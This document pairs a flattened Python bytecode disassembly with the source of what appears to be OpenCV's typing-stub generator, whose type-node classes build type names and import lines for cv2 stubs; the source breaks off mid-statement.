TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Tuple[{}]' RETURN_VALUE LOAD_CONST 'tuple[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UnionTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing type that can be one of the predefined set of types.' STORE_NAME __doc__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aaa9c0, file "f.py", line 789> LOAD_CONST 'UnionTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aaaa50, file "f.py", line 795> LOAD_CONST 'UnionTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Union[{}]' RETURN_VALUE LOAD_CONST '{}' RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST ', ' RETURN_VALUE LOAD_CONST ' | ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OptionalTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing optional type which is effectively is a union\n of value type node and None.\n ' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42aaab70, file "f.py", line 807> LOAD_CONST 'OptionalTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aaac00, file "f.py", line 810> LOAD_CONST 'OptionalTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aaac90, file "f.py", line 816> LOAD_CONST 'OptionalTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Optional[{}]' RETURN_VALUE LOAD_CONST '{} | None' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DictTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing a homogeneous key-value mapping.' STORE_NAME __doc__ LOAD_NAME str LOAD_NAME TypeNode LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'key_type', 'value_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42aaaed0, file "f.py", line 824> LOAD_CONST 'DictTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object key_type at 0x7fab42aaaf60, file "f.py", line 829> LOAD_CONST 'DictTypeNode.key_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME key_type LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object value_type at 0x7fab42aa9030, file "f.py", line 833> LOAD_CONST 'DictTypeNode.value_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME value_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aa90c0, file "f.py", line 837> LOAD_CONST 'DictTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aa9150, file "f.py", line 843> LOAD_CONST 'DictTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST key_type LOAD_FAST value_type BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST 1 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL TypeNode LOAD_ATTR compatible_to_runtime_usage POP_JUMP_IF_FALSE LOAD_CONST '_typing.Dict[{}]' RETURN_VALUE LOAD_CONST 'dict[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CallableTypeNode' STORE_NAME __qualname__ LOAD_CONST "Type node representing a callable type (most probably a function).\n\n ```python\n CallableTypeNode(\n 'image_reading_callback',\n arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_())\n )\n ```\n defines a callable type node representing a function with the same\n interface as the following\n ```python\n def image_reading_callback(image: Image, timestamp: float) -> None: ...\n ```\n " STORE_NAME __doc__ LOAD_NAME NoneTypeNode LOAD_CONST 'void' CALL_FUNCTION BUILD_TUPLE LOAD_NAME str LOAD_NAME Union LOAD_NAME TypeNode LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('ctype_name', 'arg_types', 'ret_type', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42aa9270, file "f.py", line 864> LOAD_CONST 'CallableTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME Sequence LOAD_NAME TypeNode BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arg_types at 0x7fab42aa9300, file "f.py", line 875> LOAD_CONST 'CallableTypeNode.arg_types' MAKE_FUNCTION CALL_FUNCTION STORE_NAME arg_types LOAD_NAME property LOAD_NAME TypeNode LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object ret_type at 0x7fab42aa9390, file "f.py", line 879> LOAD_CONST 'CallableTypeNode.ret_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ret_type LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object typename at 0x7fab42aa94b0, file "f.py", line 883> LOAD_CONST 'CallableTypeNode.typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME typename LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object full_typename at 0x7fab42aa95d0, file "f.py", line 889> LOAD_CONST 'CallableTypeNode.full_typename' MAKE_FUNCTION CALL_FUNCTION STORE_NAME full_typename LOAD_NAME str LOAD_NAME str LOAD_CONST ('module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object relative_typename at 0x7fab42aa96f0, file "f.py", line 896> LOAD_CONST 'CallableTypeNode.relative_typename' MAKE_FUNCTION STORE_NAME relative_typename LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_definition_imports at 0x7fab42aa9780, file "f.py", line 902> LOAD_CONST 'CallableTypeNode.required_definition_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_definition_imports LOAD_NAME property LOAD_NAME Generator LOAD_NAME str LOAD_CONST None LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object required_usage_imports at 0x7fab42aa9810, file "f.py", line 907> LOAD_CONST 'CallableTypeNode.required_usage_imports' MAKE_FUNCTION CALL_FUNCTION STORE_NAME required_usage_imports LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST arg_types LOAD_GLOBAL TypeNode CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE CALL_METHOD POP_TOP JUMP_FORWARD to 50 LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST ctype_name LOAD_FAST arg_types LOAD_FAST ret_type BUILD_TUPLE BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR items LOAD_CONST -1 BINARY_SUBSCR RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab42aa9420, file "f.py", line 886> LOAD_CONST 'CallableTypeNode.typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CONST <code object <genexpr> at 0x7fab42aa9540, file "f.py", line 892> LOAD_CONST 'CallableTypeNode.full_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_ATTR full_typename CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST arg LOAD_FAST arg LOAD_ATTR full_typename YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Callable[[{}], {}]' LOAD_METHOD format LOAD_CONST ', ' LOAD_METHOD join LOAD_CLOSURE module BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab42aa9660, file "f.py", line 898> LOAD_CONST 'CallableTypeNode.relative_typename.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR arg_types GET_ITER CALL_FUNCTION CALL_METHOD LOAD_FAST self LOAD_ATTR ret_type LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST arg LOAD_FAST arg LOAD_METHOD relative_typename LOAD_DEREF module CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_definition_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'import typing as _typing' YIELD_VALUE POP_TOP LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR required_usage_imports GET_YIELD_FROM_ITER LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClassTypeNode' STORE_NAME __qualname__ LOAD_CONST 'Type node representing types themselves (refer to typing.Type)' STORE_NAME __doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab42aa9930, file "f.py", line 916> LOAD_CONST 'ClassTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab42aa99c0, file "f.py", line 919> LOAD_CONST 'ClassTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab42aa9a50, file "f.py", line 923> LOAD_CONST 'ClassTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Type[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_GLOBAL str LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_CONST ('scope', 'scope_sep', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE full_symbol_name BUILD_TUPLE LOAD_CONST <code object search_down_symbol at 0x7fab42aa9d20, file "f.py", line 963> LOAD_CONST '_resolve_symbol.<locals>.search_down_symbol' MAKE_FUNCTION STORE_FAST search_down_symbol LOAD_DEREF root LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't resolve symbol '{}' from NONE root" LOAD_METHOD format LOAD_DEREF full_symbol_name CALL_METHOD CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 114 LOAD_GLOBAL filter LOAD_CLOSURE root BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab42aa9db0, file "f.py", line 981> LOAD_CONST '_resolve_symbol.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('namespaces', 'classes', 'enumerations') CALL_FUNCTION GET_ITER FOR_ITER to 112 STORE_FAST attr LOAD_GLOBAL getattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION STORE_FAST nodes_dict LOAD_FAST nodes_dict LOAD_METHOD get LOAD_DEREF full_symbol_name LOAD_CONST None CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 150 LOAD_CONST ('_', '.') GET_ITER FOR_ITER to 148 STORE_FAST scope_sep LOAD_FAST search_down_symbol LOAD_DEREF root LOAD_FAST scope_sep CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_DEREF full_symbol_name LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts SETUP_LOOP to 102 LOAD_GLOBAL len LOAD_FAST parts CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST scope LOAD_FAST scope LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL hasattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION RETURN_VALUE
from typing import Sequence, Generator, Tuple, Optional, Union import weakref import abc from .node import ASTNode, ASTNodeType class TypeResolutionError(Exception): pass class TypeNode(abc.ABC): """This class and its derivatives used for construction parts of AST that otherwise can't be constructed from the information provided by header parser, because this information is either not available at that moment of time or not available at all: - There is no possible way to derive correspondence between C++ type and its Python equivalent if it is not exposed from library e.g. `cv::Rect`. - There is no information about types visibility (see `ASTNodeTypeNode`). """ compatible_to_runtime_usage = False """Class-wide property that switches exported type names for several nodes. Example: >>> node = OptionalTypeNode(ASTNodeTypeNode("Size")) >>> node.typename # TypeNode.compatible_to_runtime_usage == False "Size | None" >>> TypeNode.compatible_to_runtime_usage = True >>> node.typename "typing.Optional[Size]" """ def __init__(self, ctype_name: str) -> None: self.ctype_name = ctype_name @abc.abstractproperty def typename(self) -> str: """Short name of the type node used that should be used in the same module (or a file) where type is defined. Returns: str: short name of the type node. """ pass @property def full_typename(self) -> str: """Full name of the type node including full module name starting from the package. Example: 'cv2.Algorithm', 'cv2.gapi.ie.PyParams'. Returns: str: full name of the type node. """ return self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node definition (especially used by `AliasTypeNode`). Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_definition_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def required_usage_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node usage. Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_usage_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def is_resolved(self) -> bool: return True def relative_typename(self, module_full_export_name: str) -> str: """Type name relative to the provided module. Args: module_full_export_name (str): Full export name of the module to get relative name to. Returns: str: If module name of the type node doesn't match `module`, then returns class scopes + `self.typename`, otherwise `self.full_typename`. """ return self.full_typename def resolve(self, root: ASTNode) -> None: """Resolves all references to AST nodes using a top-down search for nodes with corresponding export names. See `_resolve_symbol` for more details. Args: root (ASTNode): Node pointing to the root of a subtree in AST representing search scope of the symbol. Most of the symbols don't have full paths in their names, so scopes should be examined in bottom-up manner starting with narrowest one. Raises: TypeResolutionError: if at least 1 reference to AST node can't be resolved in the subtree pointed by the root. """ pass class NoneTypeNode(TypeNode): """Type node representing a None (or `void` in C++) type.""" @property def typename(self) -> str: return "None" class AnyTypeNode(TypeNode): """Type node representing any type (most of the time it means unknown).""" @property def typename(self) -> str: return "_typing.Any" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" class PrimitiveTypeNode(TypeNode): """Type node representing a primitive built-in types e.g. int, float, str.""" def __init__(self, ctype_name: str, typename: Optional[str] = None) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name @property def typename(self) -> str: return self._typename @classmethod def int_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "int" return PrimitiveTypeNode(ctype_name, typename="int") @classmethod def float_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "float" return PrimitiveTypeNode(ctype_name, typename="float") @classmethod def bool_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "bool" return PrimitiveTypeNode(ctype_name, typename="bool") @classmethod def str_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "string" return PrimitiveTypeNode(ctype_name, "str") class AliasRefTypeNode(TypeNode): """Type node representing an alias referencing another alias. Example: ```python Point2i = tuple[int, int] Point = Point2i ``` During typing stubs generation procedure above code section might be defined as follows ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) AliasTypeNode.ref_("Point", "Point2i") ``` """ def __init__(self, alias_ctype_name: str, alias_export_name: Optional[str] = None): super().__init__(alias_ctype_name) if alias_export_name is None: self.alias_export_name = alias_ctype_name else: self.alias_export_name = alias_export_name @property def typename(self) -> str: return self.alias_export_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename class AliasTypeNode(TypeNode): """Type node representing an alias to another type. Example: ```python Point2i = tuple[int, int] ``` can be defined as ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) ``` Under the hood it is implemented as a container of another type node. """ def __init__( self, ctype_name: str, value: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ) -> None: super().__init__(ctype_name) self.value = value self._export_name = export_name self.doc = doc @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: return self.value.required_usage_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return self.value.is_resolved def resolve(self, root: ASTNode): try: self.value.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def int_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.int_(), export_name, doc) @classmethod def float_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.float_(), export_name, doc) @classmethod def array_ref_( cls, ctype_name: str, array_ref_name: str, shape: Optional[Tuple[int, ...]], dtype: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): """Create alias to array reference alias `array_ref_name`. This is required to preserve backward compatibility with Python < 3.9 and NumPy 1.20, when NumPy module introduces generics support. Args: ctype_name (str): Name of the alias. array_ref_name (str): Name of the conditional array alias. shape (Optional[Tuple[int, ...]]): Array shape. dtype (Optional[str], optional): Array type. Defaults to None. export_name (Optional[str], optional): Alias export name. Defaults to None. doc (Optional[str], optional): Documentation string for alias. Defaults to None. """ if doc is None: doc = f"NDArray(shape={shape}, dtype={dtype})" else: doc += f". NDArray(shape={shape}, dtype={dtype})" return cls(ctype_name, AliasRefTypeNode(array_ref_name), export_name, doc) @classmethod def union_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, UnionTypeNode(ctype_name, items), export_name, doc) @classmethod def optional_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, OptionalTypeNode(item), export_name, doc) @classmethod def sequence_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, SequenceTypeNode(ctype_name, item), export_name, doc) @classmethod def tuple_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, TupleTypeNode(ctype_name, items), export_name, doc) @classmethod def class_( cls, ctype_name: str, class_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, ASTNodeTypeNode(class_name), export_name, doc) @classmethod def callable_( cls, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, CallableTypeNode(ctype_name, arg_types, ret_type), export_name, doc, ) @classmethod def ref_( cls, ctype_name: str, alias_ctype_name: str, alias_export_name: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, AliasRefTypeNode(alias_ctype_name, alias_export_name), export_name, doc, ) @classmethod def dict_( cls, ctype_name: str, key_type: TypeNode, value_type: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, DictTypeNode(ctype_name, key_type, value_type), export_name, doc ) class ConditionalAliasTypeNode(TypeNode): """Type node representing an alias protected by condition checked in runtime. For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see: https://github.com/opencv/opencv/pull/23927#discussion_r1256326835 Example: ```python if typing.TYPE_CHECKING NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]] else: NumPyArray = numpy.ndarray ``` is defined as follows: ```python ConditionalAliasTypeNode( "NumPyArray", 'typing.TYPE_CHECKING', NDArrayTypeNode("NumPyArray"), NDArrayTypeNode("NumPyArray", use_numpy_generics=False), condition_required_imports=("import typing",) ) ``` """ def __init__( self, ctype_name: str, condition: str, positive_branch_type: TypeNode, negative_branch_type: TypeNode, export_name: Optional[str] = None, condition_required_imports: Sequence[str] = (), ) -> None: super().__init__(ctype_name) self.condition = condition self.positive_branch_type = positive_branch_type self.positive_branch_type.ctype_name = self.ctype_name self.negative_branch_type = negative_branch_type self.negative_branch_type.ctype_name = self.ctype_name self._export_name = export_name self._condition_required_imports = condition_required_imports @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: yield from self.positive_branch_type.required_usage_imports yield from self.negative_branch_type.required_usage_imports yield from self._condition_required_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return ( self.positive_branch_type.is_resolved and self.negative_branch_type.is_resolved ) def resolve(self, root: ASTNode): try: self.positive_branch_type.resolve(root) self.negative_branch_type.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def numpy_array_( cls, ctype_name: str, export_name: Optional[str] = None, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, ): """Type subscription is not possible in python 3.8 and older numpy versions.""" return cls( ctype_name, "_typing.TYPE_CHECKING", NDArrayTypeNode(ctype_name, shape, dtype), NDArrayTypeNode(ctype_name, shape, dtype, use_numpy_generics=False), condition_required_imports=("import typing as _typing",), ) class NDArrayTypeNode(TypeNode): """Type node representing NumPy ndarray.""" def __init__( self, ctype_name: str, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, use_numpy_generics: bool = True, ) -> None: super().__init__(ctype_name) self.shape = shape self.dtype = dtype self._use_numpy_generics = use_numpy_generics @property def typename(self) -> str: if self._use_numpy_generics: dtype = self.dtype if self.dtype is not None else "numpy.generic" return f"numpy.ndarray[_typing.Any, numpy.dtype[{dtype}]]" return "numpy.ndarray" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import numpy" yield "import typing as _typing" class ASTNodeTypeNode(TypeNode): """Type node representing a lazy ASTNode corresponding to type of function argument or its return type or type of class property. Introduced laziness nature resolves the types visibility issue - all types should be known during function declaration to select an appropriate node from the AST. Such knowledge leads to evaluation of all preprocessor directives (`#include` particularly) for each processed header and might be too expensive and error prone. """ def __init__( self, ctype_name: str, typename: Optional[str] = None, module_name: Optional[str] = None, ) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name self._module_name = module_name self._ast_node: Optional[weakref.ProxyType[ASTNode]] = None @property def ast_node(self): return self._ast_node @property def typename(self) -> str: if self._ast_node is None: return self._typename typename = self._ast_node.export_name if self._ast_node.node_type is not ASTNodeType.Enumeration: return typename parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return typename @property def full_typename(self) -> str: if self._ast_node is not None: if self._ast_node.node_type is not ASTNodeType.Enumeration: return self._ast_node.full_export_name typename = self._ast_node.export_name parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return parent.full_export_name + "." + typename if self._module_name is not None: return self._module_name + "." + self._typename return self._typename @property def required_usage_imports(self) -> Generator[str, None, None]: if self._module_name is None: assert ( self._ast_node is not None ), "Can't find a module for class '{}' exported as '{}'".format( self.ctype_name, self.typename, ) module = self._ast_node.parent while module.node_type is not ASTNodeType.Namespace: module = module.parent yield "import " + module.full_export_name else: yield "import " + self._module_name @property def is_resolved(self) -> bool: return self._ast_node is not None or self._module_name is not None def resolve(self, root: ASTNode): if self.is_resolved: return node = _resolve_symbol(root, self.typename) if node is None: raise TypeResolutionError( 'Failed to resolve "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) self._ast_node = weakref.proxy(node) def relative_typename(self, module: str) -> str: assert ( 